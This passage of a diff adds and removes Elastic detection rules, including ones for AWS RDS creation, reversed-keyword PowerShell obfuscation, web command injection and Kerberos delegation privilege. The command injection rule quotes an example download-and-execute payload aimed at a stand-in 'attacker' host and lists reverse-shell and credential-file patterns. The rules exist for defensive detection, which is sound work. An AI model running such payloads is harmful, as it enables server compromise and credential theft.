related events or activities in CloudTrail logs around the same timeframe, such as modifications to security groups or IAM policies, which might indicate further unauthorized actions.\n- Assess the configuration and settings of the newly created RDS instance, including database engine, instance class, and network settings, to ensure they comply with security and compliance standards.\n\n### False positive analysis\n\n- Routine maintenance or testing activities by authorized personnel may trigger alerts. To manage this, create exceptions for known maintenance windows or specific user accounts involved in these activities.\n- Automated scripts or tools used for legitimate database provisioning can cause false positives. Identify these scripts and exclude their associated user accounts or roles from triggering alerts.\n- Development or staging environments often have frequent instance creations that are non-threatening. Exclude these environments by filtering based on tags or specific resource identifiers.\n- Third-party integrations or services that require RDS instance creation might be flagged. Review and whitelist these services by their IAM roles or API calls.\n- Scheduled scaling operations that automatically create instances can be mistaken for unauthorized activity. Document and exclude these operations by their specific time frames or automation identifiers.\n\n### Response and remediation\n\n- Immediately isolate the newly created RDS instance to prevent any unauthorized access or data exfiltration. This can be done by modifying the security group rules to restrict inbound and outbound traffic.\n- Review the CloudTrail logs to identify the IAM user or role responsible for the RDS instance creation. Verify if the action was authorized and if the credentials have been compromised.\n- Revoke any suspicious or unauthorized IAM credentials and rotate keys for affected users or roles to prevent further unauthorized actions.\n- Conduct a thorough audit of the RDS instance configuration, including database parameters and access controls, to ensure no sensitive data has been exposed or altered.\n- Notify the security operations team and relevant stakeholders about the incident for further investigation and to determine if additional systems have been affected.\n- Implement additional monitoring and alerting for unusual RDS activities, such as unexpected instance creations or modifications, to enhance detection capabilities.\n- Review and update IAM policies to enforce the principle of least privilege, ensuring that only authorized users have the necessary permissions to create RDS instances.", + "query": "event.dataset:aws.cloudtrail and event.provider:rds.amazonaws.com and event.action:CreateDBInstance and event.outcome:success\n", + "references": [ + "https://docs.aws.amazon.com/AmazonRDS/latest/APIReference/API_CreateDBInstance.html" + ], + "related_integrations": [ + { + "integration": "cloudtrail", + "package": "aws", + "version": "^4.0.0" + } + ], + "required_fields": [ + { + "ecs": true, + "name": "event.action", + "type": "keyword" + }, + { + "ecs": true, + "name": "event.dataset", + "type": "keyword" + }, + { + "ecs": true, + "name": "event.outcome", + "type": "keyword" + }, + { + "ecs": true, + "name": "event.provider", + "type": "keyword" + } + ], + "risk_score": 21, + "rule_id": "f30f3443-4fbb-4c27-ab89-c3ad49d62315", + "setup": "The AWS Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule.", + "severity": "low", + "tags": [ + "Domain: Cloud", + "Data Source: AWS", + "Data Source: Amazon Web Services", + "Data Source: AWS RDS", + "Use Case: Asset Visibility", + "Tactic: Persistence", + "Resources: Investigation Guide" + ], + "threat": [ + { + "framework": "MITRE ATT&CK", + "tactic": { + "id": "TA0003", + "name": "Persistence", + "reference": "https://attack.mitre.org/tactics/TA0003/" + }, + "technique": [] + } + ], + "timestamp_override": "event.ingested", + "type": "query", + "version": 210 + }, + "id": "f30f3443-4fbb-4c27-ab89-c3ad49d62315_210", + "type": "security-rule" +} \ No newline at end of file diff --git a/packages/security_detection_engine/kibana/security_rule/f38633f4-3b31-4c80-b13d-e77c70ce8254_2.json b/packages/security_detection_engine/kibana/security_rule/f38633f4-3b31-4c80-b13d-e77c70ce8254_2.json deleted file mode 100644 index b31408e838f..00000000000 --- a/packages/security_detection_engine/kibana/security_rule/f38633f4-3b31-4c80-b13d-e77c70ce8254_2.json +++ /dev/null @@ -1,81 +0,0 @@ -{ - "attributes": { - "author": [ - "Elastic" - ], - "description": "Identifies PowerShell scripts that use reversed strings as a form of obfuscation. These methods are designed to evade static analysis and bypass security protections such as the Antimalware Scan Interface (AMSI).", - "from": "now-9m", - "language": "esql", - "license": "Elastic License v2", - "name": "Potential PowerShell Obfuscation via Reverse Keywords", - "note": " ## Triage and analysis\n\n> **Disclaimer**:\n> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs.\n\n### Investigating Potential PowerShell Obfuscation via Reverse Keywords\n\nPowerShell, a powerful scripting language in Windows environments, is often targeted by adversaries for obfuscation to bypass security measures like AMSI. Attackers reverse keywords in scripts to evade static analysis. The detection rule identifies such obfuscation by searching for reversed keywords, replacing them with a unique marker, and counting occurrences. This helps in flagging scripts with multiple obfuscated elements, indicating potential malicious activity.\n\n### Possible investigation steps\n\n- Review the `powershell.file.script_block_text` field to understand the context and content of the script that triggered the alert. Look for any suspicious or unexpected behavior in the script logic.\n- Examine the `file.path` field to determine the location of the script on the system. This can provide insights into whether the script is part of a legitimate application or potentially malicious.\n- Check the `powershell.file.script_block_id` and `powershell.sequence` fields to identify if the script is part of a larger sequence of commands. This can help in understanding the full scope of the script's execution.\n- Investigate the `agent.id` field to identify the specific endpoint where the script was executed. This can help in correlating with other alerts or logs from the same machine.\n- Assess the `count` field to determine the extent of obfuscation. A higher count may indicate a more heavily obfuscated script, suggesting a higher likelihood of malicious intent.\n\n### False positive analysis\n\n- Scripts with legitimate administrative functions may use reversed keywords for benign purposes, such as custom logging or debugging. Review the context of the script to determine if the usage is intentional and non-malicious.\n- Automated scripts generated by legitimate software tools might include reversed keywords as part of their normal operation. Identify these tools and create exceptions for their known script patterns to prevent unnecessary alerts.\n- Developers or IT personnel might use reversed keywords in test environments to simulate obfuscation techniques. Ensure these environments are well-documented and excluded from production monitoring to avoid false positives.\n- PowerShell scripts used in educational or training settings may intentionally include obfuscation techniques for learning purposes. Exclude these scripts by identifying their unique characteristics or file paths.\n- Regularly update the list of excluded scripts or patterns as new legitimate use cases are identified, ensuring the detection rule remains effective without generating excessive false positives.\n\n### Response and remediation\n\n- Isolate the affected system from the network to prevent further spread of potentially malicious scripts.\n- Terminate any suspicious PowerShell processes identified by the alert to halt ongoing malicious activity.\n- Conduct a thorough review of the script block text and associated files to understand the scope and intent of the obfuscation.\n- Remove or quarantine any identified malicious scripts or files from the system to prevent re-execution.\n- Restore affected systems from a known good backup if malicious activity has altered system integrity.\n- Update endpoint protection and security tools to recognize and block similar obfuscation techniques in the future.\n- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and monitoring of potential lateral movement or additional threats.\n", - "query": "FROM logs-windows.powershell_operational* metadata _id, _version, _index\n| WHERE event.code == \"4104\"\n\n// Filter for scripts that contains these keywords using MATCH, boosts the query performance, match will ignore the | and look for the individual words\n| WHERE powershell.file.script_block_text : \"rahc|metsys|stekcos|tcejboimw|ecalper|ecnerferpe|noitcennoc|nioj|eman|vne|gnirts|tcejbo-wen|_23niw|noisserpxe|ekovni|daolnwod\"\n\n// Replace string format expressions with \ud83d\udd25 to enable counting the occurrence of the patterns we are looking for\n// The emoji is used because it's unlikely to appear in scripts and has a consistent character length of 1\n| EVAL replaced_with_fire = REPLACE(powershell.file.script_block_text, \"\"\"(?i)(rahc|metsys|stekcos|tcejboimw|ecalper|ecnerferpe|noitcennoc|nioj|eman\\.|:vne|gnirts|tcejbo-wen|_23niw|noisserpxe|ekovni|daolnwod)\"\"\", \"\ud83d\udd25\")\n\n// Count how many patterns were detected by calculating the number of \ud83d\udd25 characters inserted\n| EVAL count = LENGTH(replaced_with_fire) - LENGTH(REPLACE(replaced_with_fire, \"\ud83d\udd25\", \"\"))\n\n// Keep the fields relevant to the query, although this is not needed as the alert is populated using _id\n| KEEP count, replaced_with_fire, powershell.file.script_block_text, powershell.file.script_block_id, file.path, powershell.sequence, powershell.total, _id, _index, agent.id\n| WHERE count >= 2\n", - "related_integrations": [ - { - "package": "windows", - "version": "^3.0.0" - } - ], - "risk_score": 21, - "rule_id": "f38633f4-3b31-4c80-b13d-e77c70ce8254", - "setup": "## Setup\n\nThe 'PowerShell Script Block Logging' logging policy must be enabled.\nSteps to implement the logging policy with Advanced Audit Configuration:\n\n```\nComputer Configuration >\nAdministrative Templates >\nWindows PowerShell >\nTurn on PowerShell Script Block Logging (Enable)\n```\n\nSteps to implement the logging policy via registry:\n\n```\nreg add \"hklm\\SOFTWARE\\Policies\\Microsoft\\Windows\\PowerShell\\ScriptBlockLogging\" /v EnableScriptBlockLogging /t REG_DWORD /d 1\n```\n", - "severity": "low", - "tags": [ - "Domain: Endpoint", - "OS: Windows", - "Use Case: Threat Detection", - "Tactic: Defense Evasion", - "Data Source: PowerShell Logs", - "Resources: Investigation Guide" - ], - "threat": [ - { - "framework": "MITRE ATT&CK", - "tactic": { - "id": "TA0005", - "name": "Defense Evasion", - "reference": "https://attack.mitre.org/tactics/TA0005/" - }, - "technique": [ - { - "id": "T1027", - "name": "Obfuscated Files or Information", - "reference": "https://attack.mitre.org/techniques/T1027/" - }, - { - "id": "T1140", - "name": "Deobfuscate/Decode Files or Information", - "reference": "https://attack.mitre.org/techniques/T1140/" - } - ] - }, - { - "framework": "MITRE ATT&CK", - "tactic": { - "id": "TA0002", - "name": "Execution", - "reference": "https://attack.mitre.org/tactics/TA0002/" - }, - "technique": [ - { - "id": "T1059", - "name": "Command and Scripting Interpreter", - "reference": "https://attack.mitre.org/techniques/T1059/", - "subtechnique": [ - { - "id": "T1059.001", - "name": "PowerShell", - "reference": "https://attack.mitre.org/techniques/T1059/001/" - } - ] - } - ] - } - ], - "timestamp_override": "event.ingested", - "type": "esql", - "version": 2 - }, - "id": "f38633f4-3b31-4c80-b13d-e77c70ce8254_2", - "type": "security-rule" -} \ No newline at end of file diff --git a/packages/security_detection_engine/kibana/security_rule/f3ac6734-7e52-4a0d-90b7-6847bf4308f2_1.json b/packages/security_detection_engine/kibana/security_rule/f3ac6734-7e52-4a0d-90b7-6847bf4308f2_1.json new file mode 100644 index 00000000000..7837ebcf2e7 --- /dev/null +++ b/packages/security_detection_engine/kibana/security_rule/f3ac6734-7e52-4a0d-90b7-6847bf4308f2_1.json @@ -0,0 +1,261 @@ +{ + "attributes": { + "author": [ + "Elastic" + ], + "description": "This rule detects potential command injection attempts via web server requests by identifying URLs that contain suspicious patterns commonly associated with command execution payloads. Attackers may exploit vulnerabilities in web applications to inject and execute arbitrary commands on the server, often using interpreters like Python, Perl, Ruby, PHP, or shell commands. By monitoring for these indicators in web traffic, security teams can identify and respond to potential threats early.", + "from": "now-9m", + "interval": "10m", + "language": "esql", + "license": "Elastic License v2", + "name": "Web Server Potential Command Injection Request", + "note": " ## Triage and analysis\n\n> **Disclaimer**:\n> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs.\n\n### Investigating Web Server Potential Command Injection Request\n\nThis rule flags web requests whose URLs embed command-execution payloads\u2014interpreter flags, shell invocations, netcat reverse shells, /dev/tcp, base64, credential file paths, downloaders, and suspicious temp or cron paths. It matters because attackers use low-volume, successful (200) requests to trigger server-side command injection and gain persistence or control without obvious errors. Example: a crafted query executes bash -c 'wget http://attacker/rev.sh -O /tmp/r; chmod +x /tmp/r; /tmp/r' from the web app, yielding a 200 while dropping and running a payload.\n\n### Possible investigation steps\n\n- Pull the raw HTTP request or PCAP, repeatedly URL-decode and base64-decode parameters, and extract shell metacharacters, commands, IP:port pairs, file paths, and download URLs to infer execution intent.\n- Time-correlate the request with host telemetry for web-server-owned child processes, file writes in /tmp, /dev/shm, or web roots, cron modifications, and new outbound connections from the same host.\n- Pivot on the source IP and user-agent to find related requests across other hosts/endpoints, identify scan-to-exploit sequencing and success patterns, and enact blocking or rate limiting if malicious.\n- Map the targeted route to its backend handler and review code/config to see if user input reaches exec/system/os.popen, templating/deserialization, or shell invocations, then safely reproduce in staging to validate exploitability.\n- If the payload references external indicators, search DNS/proxy/firewall telemetry for matching egress, retrieve and analyze any downloaded artifacts, and hunt for the same indicators across the fleet.\n\n### False positive analysis\n\n- A documentation or code-rendering page that echoes command-like strings from query parameters (e.g., \"bash -c\", \"python -c\", \"curl\", \"/etc/passwd\") returns 200 while merely displaying text, so the URL contains payload keywords without any execution.\n- A low-volume developer or QA test to a sandbox route includes path or query values like \"/dev/tcp/\", \"nc 10.0.0.1 4444\", \"busybox\", or \"chmod +x\" to validate input handling, the server returns 200 and the rule triggers despite no server-side execution path consuming those parameters.\n\n### Response and remediation\n\n- Block the offending source IPs and User-Agents at the WAF/reverse proxy, add virtual patches to drop URLs containing 'bash -c', '/dev/tcp', 'base64 -d', 'curl' or 'nc', and remove the targeted route from the load balancer until verified safe.\n- Isolate the impacted host from the network (at minimum egress) if the web service spawns child processes like bash/sh/python -c, creates files in /tmp or /dev/shm, modifies /etc/cron.*, or opens outbound connections to an IP:port embedded in the request.\n- Acquire volatile memory and preserve access/error logs and any downloaded script before cleanup, then terminate malicious child processes owned by nginx/httpd/tomcat/w3wp, delete dropped artifacts (e.g., /tmp/*, /dev/shm/*, suspicious files in the webroot), and revert cron/systemd or SSH key changes.\n- Rotate credentials and tokens if /etc/passwd, /etc/shadow, or ~/.ssh paths were targeted, rebuild the host or container from a known-good image, patch the application and dependencies, and validate clean startup with outbound traffic restricted to approved destinations.\n- Immediately escalate to the incident commander and legal/privacy if remote command execution is confirmed (evidence: web-server-owned 'bash -c' or 'python -c' executed, curl/wget download-and-execute, or reverse shell to an external IP:port) or if sensitive data exposure is suspected.\n- Harden by enforcing strict input validation, disabling shell/exec functions in the runtime (e.g., PHP disable_functions and no shell-outs in templates), running under least privilege with noexec,nodev /tmp and a read-only webroot, restricting egress by policy, and deploying WAF rules and host sensors to detect these strings and cron/webshell creation.\n", + "query": "from logs-network_traffic.http-*, logs-network_traffic.tls-*, logs-nginx.access-*, logs-apache.access-*, logs-apache_tomcat.access-*, logs-iis.access-*\n| where\n (url.original is not null or url.full is not null) and\n // Limit to 200 response code to reduce noise\n http.response.status_code == 200\n\n| eval Esql.url_lower = case(url.original is not null, url.original, url.full)\n| eval Esql.url_lower = to_lower(Esql.url_lower)\n\n| eval Esql.contains_interpreter = case(Esql.url_lower like \"*python* -c*\" or Esql.url_lower like \"*perl* -e*\" or Esql.url_lower like \"*ruby* -e*\" or Esql.url_lower like \"*ruby* -rsocket*\" or Esql.url_lower like \"*lua* -e*\" or Esql.url_lower like \"*php* -r*\" or Esql.url_lower like \"*node* -e*\", 1, 0)\n| eval Esql.contains_shell = case(Esql.url_lower like \"*/bin/bash*\" or Esql.url_lower like \"*bash*-c*\" or Esql.url_lower like \"*/bin/sh*\" or Esql.url_lower rlike \"*sh.{1,2}-c*\", 1, 0)\n| eval Esql.contains_nc = case(Esql.url_lower like \"*netcat*\" or Esql.url_lower like \"*ncat*\" or Esql.url_lower rlike \"\"\".*nc.{1,2}[0-9]{1,3}(\\.[0-9]{1,3}){3}.{1,2}[0-9]{1,5}.*\"\"\" or Esql.url_lower like \"*nc.openbsd*\" or Esql.url_lower like \"*nc.traditional*\" or Esql.url_lower like \"*socat*\", 1, 0)\n| eval Esql.contains_devtcp = case(Esql.url_lower like \"*/dev/tcp/*\" or Esql.url_lower like \"*/dev/udp/*\", 1, 0)\n| eval Esql.contains_helpers = case((Esql.url_lower like \"*/bin/*\" or Esql.url_lower like \"*/usr/bin/*\") and (Esql.url_lower like \"*mkfifo*\" or Esql.url_lower like \"*nohup*\" or Esql.url_lower like \"*setsid*\" or Esql.url_lower like \"*busybox*\"), 1, 0)\n| eval Esql.contains_sus_cli = case(Esql.url_lower like \"*import*pty*spawn*\" or Esql.url_lower like \"*import*subprocess*call*\" or Esql.url_lower like \"*tcpsocket.new*\" or Esql.url_lower like \"*tcpsocket.open*\" or Esql.url_lower like \"*io.popen*\" or Esql.url_lower like \"*os.execute*\" or Esql.url_lower like \"*fsockopen*\", 1, 0)\n| eval Esql.contains_privileges = case(Esql.url_lower like \"*chmod*+x\", 1, 0)\n| eval Esql.contains_downloader = case(Esql.url_lower like \"*curl *\" or Esql.url_lower like \"*wget *\" , 1, 0)\n| eval Esql.contains_file_read_keywords = case(Esql.url_lower like \"*/etc/shadow*\" or Esql.url_lower like \"*/etc/passwd*\" or Esql.url_lower like \"*/root/.ssh/*\" or Esql.url_lower like \"*/home/*/.ssh/*\" or Esql.url_lower like \"*~/.ssh/*\" or Esql.url_lower like \"*/proc/self/environ*\", 1, 0)\n| eval Esql.contains_base64_cmd = case(Esql.url_lower like \"*base64*-d*\" or Esql.url_lower like \"*echo*|*base64*\", 1, 0)\n| eval Esql.contains_suspicious_path = case(Esql.url_lower like \"*/tmp/*\" or Esql.url_lower like \"*/var/tmp/*\" or Esql.url_lower like \"*/dev/shm/*\" or Esql.url_lower like \"*/root/*\" or Esql.url_lower like \"*/home/*/*\" or Esql.url_lower like \"*/var/www/*\" or Esql.url_lower like \"*/etc/cron.*/*\", 1, 0)\n\n| eval Esql.any_payload_keyword = case(\n Esql.contains_interpreter == 1 or Esql.contains_shell == 1 or Esql.contains_nc == 1 or Esql.contains_devtcp == 1 or\n Esql.contains_helpers == 1 or Esql.contains_sus_cli == 1 or Esql.contains_privileges == 1 or Esql.contains_downloader == 1 or\n Esql.contains_file_read_keywords == 1 or Esql.contains_base64_cmd == 1 or Esql.contains_suspicious_path == 1, 1, 0)\n\n| keep\n @timestamp,\n Esql.url_lower,\n Esql.any_payload_keyword,\n Esql.contains_interpreter,\n Esql.contains_shell,\n Esql.contains_nc,\n Esql.contains_devtcp,\n Esql.contains_helpers,\n Esql.contains_sus_cli,\n Esql.contains_privileges,\n Esql.contains_downloader,\n Esql.contains_file_read_keywords,\n Esql.contains_base64_cmd,\n Esql.contains_suspicious_path,\n source.ip,\n destination.ip,\n agent.id,\n http.request.method,\n http.response.status_code,\n user_agent.original,\n host.name,\n event.dataset\n\n| stats\n Esql.event_count = count(),\n Esql.url_path_count_distinct = count_distinct(Esql.url_lower),\n\n // General fields\n\n Esql.host_name_values = values(host.name),\n Esql.agent_id_values = values(agent.id),\n Esql.url_path_values = values(Esql.url_lower),\n Esql.http.response.status_code_values = values(http.response.status_code),\n Esql.user_agent_original_values = values(user_agent.original),\n Esql.event_dataset_values = values(event.dataset),\n\n // Rule Specific fields\n Esql.any_payload_keyword_max = max(Esql.any_payload_keyword),\n Esql.contains_interpreter_values = values(Esql.contains_interpreter),\n Esql.contains_shell_values = values(Esql.contains_shell),\n Esql.contains_nc_values = values(Esql.contains_nc),\n Esql.contains_devtcp_values = values(Esql.contains_devtcp),\n Esql.contains_helpers_values = values(Esql.contains_helpers),\n Esql.contains_sus_cli_values = values(Esql.contains_sus_cli),\n Esql.contains_privileges_values = values(Esql.contains_privileges),\n Esql.contains_downloader_values = values(Esql.contains_downloader),\n Esql.contains_file_read_keywords_values = values(Esql.contains_file_read_keywords),\n Esql.contains_base64_cmd_values = values(Esql.contains_base64_cmd),\n Esql.contains_suspicious_path_values = values(Esql.contains_suspicious_path)\n\n by source.ip, agent.id\n\n| where\n // Filter for potential command injection attempts with low event counts to reduce false positives\n Esql.any_payload_keyword_max == 1 and Esql.event_count < 5\n", + "related_integrations": [ + { + "package": "nginx", + "version": "^2.0.0" + }, + { + "package": "apache", + "version": "^2.0.0" + }, + { + "package": "apache_tomcat", + "version": "^1.0.0" + }, + { + "package": "iis", + "version": "^1.0.0" + }, + { + "package": "network_traffic", + "version": "^1.1.0" + } + ], + "required_fields": [ + { + "ecs": false, + "name": "Esql.agent_id_values", + "type": "keyword" + }, + { + "ecs": false, + "name": "Esql.any_payload_keyword_max", + "type": "integer" + }, + { + "ecs": false, + "name": "Esql.contains_base64_cmd_values", + "type": "integer" + }, + { + "ecs": false, + "name": "Esql.contains_devtcp_values", + "type": "integer" + }, + { + "ecs": false, + "name": "Esql.contains_downloader_values", + "type": "integer" + }, + { + "ecs": false, + "name": "Esql.contains_file_read_keywords_values", + "type": "integer" + }, + { + "ecs": false, + "name": "Esql.contains_helpers_values", + "type": "integer" + }, + { + "ecs": false, + "name": "Esql.contains_interpreter_values", + "type": "integer" + }, + { + "ecs": false, + "name": "Esql.contains_nc_values", + "type": "integer" + }, + { + "ecs": false, + "name": "Esql.contains_privileges_values", + "type": "integer" + }, + { + "ecs": false, + "name": "Esql.contains_shell_values", + "type": "integer" + }, + { + "ecs": false, + "name": "Esql.contains_sus_cli_values", + "type": "integer" + }, + { + "ecs": false, + "name": "Esql.contains_suspicious_path_values", + "type": "integer" + }, + { + "ecs": false, + "name": "Esql.event_count", + "type": "long" + }, + { + "ecs": false, + "name": "Esql.event_dataset_values", + "type": "keyword" + }, + { + "ecs": false, + "name": "Esql.host_name_values", + "type": "keyword" + }, + { + "ecs": false, + "name": "Esql.http.response.status_code_values", + "type": "long" + }, + { + "ecs": false, + "name": "Esql.url_path_count_distinct", + "type": "long" + }, + { + "ecs": false, + "name": "Esql.url_path_values", + "type": "keyword" + }, + { + "ecs": false, + "name": "Esql.user_agent_original_values", + "type": "keyword" + }, + { + "ecs": true, + "name": "agent.id", + "type": "keyword" + }, + { + "ecs": true, + "name": "source.ip", + "type": "ip" + } + ], + "risk_score": 21, + "rule_id": "f3ac6734-7e52-4a0d-90b7-6847bf4308f2", + "severity": "low", + "tags": [ + "Domain: Web", + "Domain: Network", + "Use Case: Threat Detection", + "Tactic: Reconnaissance", + "Tactic: Persistence", + "Tactic: Execution", + "Tactic: Credential Access", + "Tactic: Command and Control", + "Data Source: Network Packet Capture", + "Data Source: Nginx", + "Data Source: Apache", + "Data Source: Apache Tomcat", + "Data Source: IIS", + "Resources: Investigation Guide" + ], + "threat": [ + { + "framework": "MITRE ATT&CK", + "tactic": { + "id": "TA0003", + "name": "Persistence", + "reference": "https://attack.mitre.org/tactics/TA0003/" + }, + "technique": [ + { + "id": "T1505", + "name": "Server Software Component", + "reference": "https://attack.mitre.org/techniques/T1505/", + "subtechnique": [ + { + "id": "T1505.003", + "name": "Web Shell", + "reference": "https://attack.mitre.org/techniques/T1505/003/" + } + ] + } + ] + }, + { + "framework": "MITRE ATT&CK", + "tactic": { + "id": "TA0002", + "name": "Execution", + "reference": "https://attack.mitre.org/tactics/TA0002/" + }, + "technique": [ + { + "id": "T1059", + "name": "Command and Scripting Interpreter", + "reference": "https://attack.mitre.org/techniques/T1059/", + "subtechnique": [ + { + "id": "T1059.004", + "name": "Unix Shell", + "reference": "https://attack.mitre.org/techniques/T1059/004/" + } + ] + } + ] + }, + { + "framework": "MITRE ATT&CK", + "tactic": { + "id": "TA0011", + "name": "Command and Control", + "reference": "https://attack.mitre.org/tactics/TA0011/" + }, + "technique": [ + { + "id": "T1071", + "name": "Application Layer Protocol", + "reference": "https://attack.mitre.org/techniques/T1071/" + } + ] + }, + { + "framework": "MITRE ATT&CK", + "tactic": { + "id": "TA0043", + "name": "Reconnaissance", + "reference": "https://attack.mitre.org/tactics/TA0043/" + }, + "technique": [ + { + "id": "T1595", + "name": "Active Scanning", + "reference": "https://attack.mitre.org/techniques/T1595/", + "subtechnique": [ + { + "id": "T1595.002", + "name": "Vulnerability Scanning", + "reference": "https://attack.mitre.org/techniques/T1595/002/" + }, + { + "id": "T1595.003", + "name": "Wordlist Scanning", + "reference": "https://attack.mitre.org/techniques/T1595/003/" + } + ] + } + ] + } + ], + "timestamp_override": "event.ingested", + "type": "esql", + "version": 1 + }, + "id": "f3ac6734-7e52-4a0d-90b7-6847bf4308f2_1", + "type": "security-rule" +} \ No newline at end of file diff --git a/packages/security_detection_engine/kibana/security_rule/f494c678-3c33-43aa-b169-bb3d5198c41d_218.json b/packages/security_detection_engine/kibana/security_rule/f494c678-3c33-43aa-b169-bb3d5198c41d_218.json new file mode 100644 index 00000000000..54dafe984f8 --- /dev/null +++ b/packages/security_detection_engine/kibana/security_rule/f494c678-3c33-43aa-b169-bb3d5198c41d_218.json @@ -0,0 +1,105 @@ +{ + "attributes": { + "author": [ + "Elastic" + ], + "description": "Identifies the assignment of the SeEnableDelegationPrivilege sensitive \"user right\" to a user. The SeEnableDelegationPrivilege \"user right\" enables computer and user accounts to be trusted for delegation. Attackers can abuse this right to compromise Active Directory accounts and elevate their privileges.", + "from": "now-9m", + "index": [ + "winlogbeat-*", + "logs-system.security*", + "logs-windows.forwarded*" + ], + "language": "kuery", + "license": "Elastic License v2", + "name": "Sensitive Privilege SeEnableDelegationPrivilege assigned to a User", + "note": "## Triage and analysis\n\n### Investigating Sensitive Privilege SeEnableDelegationPrivilege assigned to a User\n\nKerberos delegation is an Active Directory feature that allows user and computer accounts to impersonate other accounts, act on their behalf, and use their privileges. Delegation (constrained and unconstrained) can be configured for user and computer objects.\n\nEnabling unconstrained delegation for a computer causes the computer to store the ticket-granting ticket (TGT) in memory at any time an account connects to the computer, so it can be used by the computer for impersonation when needed. Risk is heightened if an attacker compromises computers with unconstrained delegation enabled, as they could extract TGTs from memory and then replay them to move laterally on the domain. If the attacker coerces a privileged user to connect to the server, or if the user does so routinely, the account will be compromised and the attacker will be able to pass-the-ticket to privileged assets.\n\nSeEnableDelegationPrivilege is a user right that is controlled within the Local Security Policy of a domain controller and is managed through Group Policy. This setting is named **Enable computer and user accounts to be trusted for delegation**.\n\nIt is critical to control the assignment of this privilege. A user with this privilege and write access to a computer can control delegation settings, perform the attacks described above, and harvest TGTs from any user that connects to the system.\n\n#### Possible investigation steps\n\n- Investigate how the privilege was assigned to the user and who assigned it.\n- Investigate other potentially malicious activity that was performed by the user that assigned the privileges using the `user.id` and `winlog.activity_id` fields as a filter during the past 48 hours.\n- Investigate other alerts associated with the users/host during the past 48 hours.\n\n### False positive analysis\n\n- The SeEnableDelegationPrivilege privilege should not be assigned to users. If this rule is triggered in your environment legitimately, the security team should notify the administrators about the risks of using it.\n\n### Related rules\n\n- KRBTGT Delegation Backdoor - e052c845-48d0-4f46-8a13-7d0aba05df82\n\n### Response and remediation\n\n- Initiate the incident response process based on the outcome of the triage.\n- Remove the privilege from the account.\n- Review the privileges of the administrator account that performed the action.\n- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector.\n- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR).\n", + "query": "event.code:4704 and host.os.type:\"windows\" and winlog.event_data.PrivilegeList:\"SeEnableDelegationPrivilege\"\n", + "references": [ + "https://blog.harmj0y.net/activedirectory/the-most-dangerous-user-right-you-probably-have-never-heard-of/", + "https://github.com/SigmaHQ/sigma/blob/master/rules/windows/builtin/security/win_alert_active_directory_user_control.yml", + "https://twitter.com/_nwodtuhs/status/1454049485080907776", + "https://www.thehacker.recipes/ad/movement/kerberos/delegations", + "https://github.com/atc-project/atomic-threat-coverage/blob/master/Atomic_Threat_Coverage/Logging_Policies/LP_0105_windows_audit_authorization_policy_change.md" + ], + "related_integrations": [ + { + "package": "system", + "version": "^2.0.0" + }, + { + "package": "windows", + "version": "^3.0.0" + } + ], + "required_fields": [ + { + "ecs": true, + "name": "event.code", + "type": "keyword" + }, + { + "ecs": true, + "name": "host.os.type", + "type": "keyword" + }, + { + "ecs": false, + "name": "winlog.event_data.PrivilegeList", + "type": "keyword" + } + ], + "risk_score": 73, + "rule_id": "f494c678-3c33-43aa-b169-bb3d5198c41d", + "setup": "## Setup\n\nThe 'Audit Authorization Policy Change' logging policy must be configured for (Success, Failure).\nSteps to implement the logging policy with Advanced Audit Configuration:\n\n```\nComputer Configuration >\nWindows Settings >\nSecurity Settings >\nAdvanced Audit Policy Configuration >\nAudit Policies >\nPolicy Change >\nAudit Authorization Policy Change (Success,Failure)\n```\n", + "severity": "high", + "tags": [ + "Domain: Endpoint", + "OS: Windows", + "Use Case: Threat Detection", + "Tactic: Credential Access", + "Tactic: Persistence", + "Data Source: Active Directory", + "Resources: Investigation Guide", + "Use Case: Active Directory Monitoring", + "Data Source: Windows Security Event Logs" + ], + "threat": [ + { + "framework": "MITRE ATT&CK", + "tactic": { + "id": "TA0006", + "name": "Credential Access", + "reference": "https://attack.mitre.org/tactics/TA0006/" + }, + "technique": [ + { + "id": "T1558", + "name": "Steal or Forge Kerberos Tickets", + "reference": "https://attack.mitre.org/techniques/T1558/" + } + ] + }, + { + "framework": "MITRE ATT&CK", + "tactic": { + "id": "TA0003", + "name": "Persistence", + "reference": "https://attack.mitre.org/tactics/TA0003/" + }, + "technique": [ + { + "id": "T1098", + "name": "Account Manipulation", + "reference": "https://attack.mitre.org/techniques/T1098/" + } + ] + } + ], + "timestamp_override": "event.ingested", + "type": "query", + "version": 218 + }, + "id": "f494c678-3c33-43aa-b169-bb3d5198c41d_218", + "type": "security-rule" +} \ No newline at end of file diff --git a/packages/security_detection_engine/kibana/security_rule/f4c2515a-18bb-47ce-a768-1dc4e7b0fe6c_3.json b/packages/security_detection_engine/kibana/security_rule/f4c2515a-18bb-47ce-a768-1dc4e7b0fe6c_3.json deleted file mode 100644 index bcd5692ac82..00000000000 --- a/packages/security_detection_engine/kibana/security_rule/f4c2515a-18bb-47ce-a768-1dc4e7b0fe6c_3.json +++ /dev/null @@ -1,42 +0,0 @@ -{ - "attributes": { - "author": [ - "Elastic" - ], - "description": "Identifies multiple violations of AWS Bedrock guardrails within a single request, resulting in a block action, increasing the likelihood of malicious intent. Multiple violations implies that a user may be intentionally attempting to cirvumvent security controls, access sensitive information, or possibly exploit a vulnerability in the system.", - "false_positives": [ - "Legitimate misunderstanding by users or overly strict policies" - ], - "from": "now-60m", - "interval": "10m", - "language": "esql", - "license": "Elastic License v2", - "name": "AWS Bedrock Guardrails Detected Multiple Policy Violations Within a Single Blocked Request", - "note": "## Triage and analysis\n\n### Investigating Amazon Bedrock Guardrail Multiple Policy Violations Within a Single Blocked Request.\n\nAmazon Bedrock Guardrail is a set of features within Amazon Bedrock designed to help businesses apply robust safety and privacy controls to their generative AI applications.\n\nIt enables users to set guidelines and filters that manage content quality, relevancy, and adherence to responsible AI practices.\n\nThrough Guardrail, organizations can define \"denied topics\" to prevent the model from generating content on specific, undesired subjects,\nand they can establish thresholds for harmful content categories, including hate speech, violence, or offensive language.\n\n#### Possible investigation steps\n\n- Identify the user account and the user request that caused multiple policy violations and whether it should perform this kind of action.\n- Investigate the user activity that might indicate a potential brute force attack.\n- 